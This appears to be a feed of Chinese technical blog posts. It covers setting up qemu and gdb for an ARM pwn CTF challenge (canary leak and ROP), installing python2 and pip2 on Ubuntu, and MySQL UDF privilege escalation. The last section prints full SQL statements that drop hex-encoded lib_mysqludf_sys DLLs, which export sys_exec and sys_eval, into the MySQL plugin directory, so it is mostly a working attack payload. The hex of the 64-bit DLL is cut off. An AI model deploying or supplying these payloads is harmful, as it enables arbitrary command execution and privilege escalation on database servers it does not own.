这个题目很好,给了一个Dockerfile 直接docker build .
就可以搭建一个环境。不过这个环境是一个简单的arm pwn环境。我们只能简单的远程,并不随意打gdb 内存和寄存器的情况,这样对于我们是很不方便。同时,尝试在docker安装gdb插件无果,于是我们便考虑在本地搭一个类似环境用来gdb,再用pwntools来结合。
安装qemu:
1 | sudo apt-get install qemu |
依赖库安装:
1 | sudo apt-get install -y gcc-arm-linux-gnueabi |
这样我们就安装好,qemu环境了。
我们用qemu-arm -L /usr/arm-linux-gnueabihf/ ./arms_roped
就可以在本地运行了。
这个步骤也是Dockerfile 记载的方法,不过docker安装是通过在https://github.com/qemu/qemu
下载源码来编译的。
1 | RUN git clone https://github.com/qemu/qemu /qemu |
在刚才的安装中我们其实是安装 三个qemu 启动命令工具: qemu-user
、qemu-user-static
、qemu-system
。
qemu-system
是用于模拟完整计算机系统的命令,qemu 在system mode 上模拟的命令。在system mode 可以模拟多种不同的处理器架构(如x86、ARM、PowerPC等)以及与之相关的外围设备。因此通过 qemu-system,你可以创建一个完整的虚拟机环境,包括模拟的处理器、内存、硬盘、网络接口,这样下整个文件系统一起模拟的,我们会得到一个相对真实的环境。
qemu-user/qemu-user-static
是用于用户空间应用程序的模拟执行的命令,即以QEMU user mode 允许在一个不同的体系结构上运行二进制可执行文件,而无需模拟整个计算机系统。QEMU user mode是system mode的精简版,只提供TCG层面的支持,他能运行guest Linux上的用户态程序,因此在某些细节还原度上是远远不如system mode ,比如:libc 段可能无法被正确vmmap 。qemu-user/qemu-user-static
两者的区别是qemu-user-static
是用于静态地模拟执行用户空间应用程序的命令,而``qemu-user`是动态模拟的,在程序开了‘PIE’和‘NX’保护下地址段地址会随机变化。。
而在本题环境中,dockerfile 给出的是 user mode 的qemu-user来执行命令。
即:qemu-arm -L /usr/arm-linux-gnueabi ./arms_roped
若我们想gdb 调试 则 用 -g
来开放我们链接的端口。例如:
qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./arms_roped
若我们想gdb 我们用qemu 启用的程序,我们还需要通过如下命令安装gdb-multiarch。
1 | sudo apt-get install gdb-multiarch |
gdb-multiarch
是 GNU 调试器(GDB)的一个变体,它允许在多种体系结构(如x86、ARM、PowerPC等)上进行调试。通常情况下,gdb
只能调试与宿主系统相同体系结构的程序,但是 gdb-multiarch
可以通过“set architecture xxx”修改以支持跨体系结构的调试。比如 “set architecture arm” 修改为arm体系调试。
关于gdb-multiarch 我们使用如下:
1 | gdb-multiarch ./arms_roped |
gdb-multiarch ./arms_roped
打开gdb-multiarch
并加载读取arms_roped
文件的symbols标识符同时讲调试模式设置为arm
。(相当于执行file ./arm_roped 与set architecture arm” )
set solib-search-path
将要读取要用到libc文件夹路径设置为我们所设置的文件夹路径。这样gdb中遇到与环境相应的通过链接库,gdb会自动读取相应的symbols标识
target remote
。远程gdb 所暴露的IP和端口。
pwntools模块的process读取所一个命令所产生的进程。我们可以通过下面方式启动,进而发送命令。
1 | from pwn import * |
遗憾的是对于gdb模块展示不能接受到qemu 暴露的调试端口,只能另起窗口调试。
x64汇编与arm汇编在一些地方还是神似的地方。比如在寄存器上:
eax 在 arm中变成r0,r1-r5对应 edx、ecx,edx,esi,edi。r11(FP)对应edp,edp 对应arm中 r13(SP),而EIP对应R15(PC)。在arm中gadget 以pc来跳转,x64 以ret来跳转。同时,x64中常用的万能gadget也继续存在。
但arm汇编的具体细节又不一样,这里找到一个不错的入门教程说明:
当我们arm环境和知识储备完后,回到这个题。
1 | Arch: arm-32-little |
题目开了 PIE 、NX 和canary 。
但题目问题点在string_storer函数,我们在用 memcpy 复制时,没有对dest里的值进行清空,也没有对复制的进行长度限制。
1 | int string_storer() |
如下下图所示,红色部分就是我们输入,黄色就是canary值,蓝色就是返回地址(elf上一直值)。这导致我们可以泄漏出之前,就留存道dest里elf地址及canary值。
这时,与x86情况类似,我们得到canary 就可以随意利用elf里的gadgets栈溢出了。于此同时,我发现两有意思的gadgets:
这俩gadgets结合起来就可以泄露出libc地址,来执行execve(“/bin/sh”,0,0)了。
exp:
1 | #!/usr/bin/env pythonq |
https://www.jianshu.com/p/a7e2da50263e
https://x1ng.top/2020/11/16/arm-pwn%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF/
]]>在目前ubuntu22.04 中,我们使用apt 还是能安装python2
1 | sudo apt install python2 |
不出意外安装的是2.7.18
版本
1 | python2 -V |
同时,我们可以``update-alternatives来设置,默认
python` 指代。
1 | sudo update-alternatives --list python |
在ubuntu20.04版本后,python
没有默认指代python3,而是没有指代。所以update-alternatives --list python
查看指代报错了。
我们可以用update-alternatives 来设置指代。
1 | sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 |
python2可以使用apt安装,但是pip2却不能了。但是我们可以通过get-pip.py
手动安装。
1 | curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py |
若因为网络原因,curl不下了也可以。手动发展下了
1 |
|
无论是win下的mysql服务还是linux下mysql服务,想要进行提权都需要满足以下4个条件:
(1)Mysql版本大于5.1版本,udf.dll/udf.so
文件必须放置于MYSQL安装目录下的lib\plugin
文件夹下。
(2)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
(3)可以将udf.dll/udf.so
·文件写入到相应目录的权限。
获取数据库版本、数据位置以及插件位置(lib\plugin
文件夹)等信息
1 | select version();//获取数据库版本 |
1 | # 直接 SELECT 查询十六进制写入 |
32位 udf.dll 文件写入sql语句:
1 | SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll'; |
64位 udf.dll 文件写入sql语句:
1 | SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d8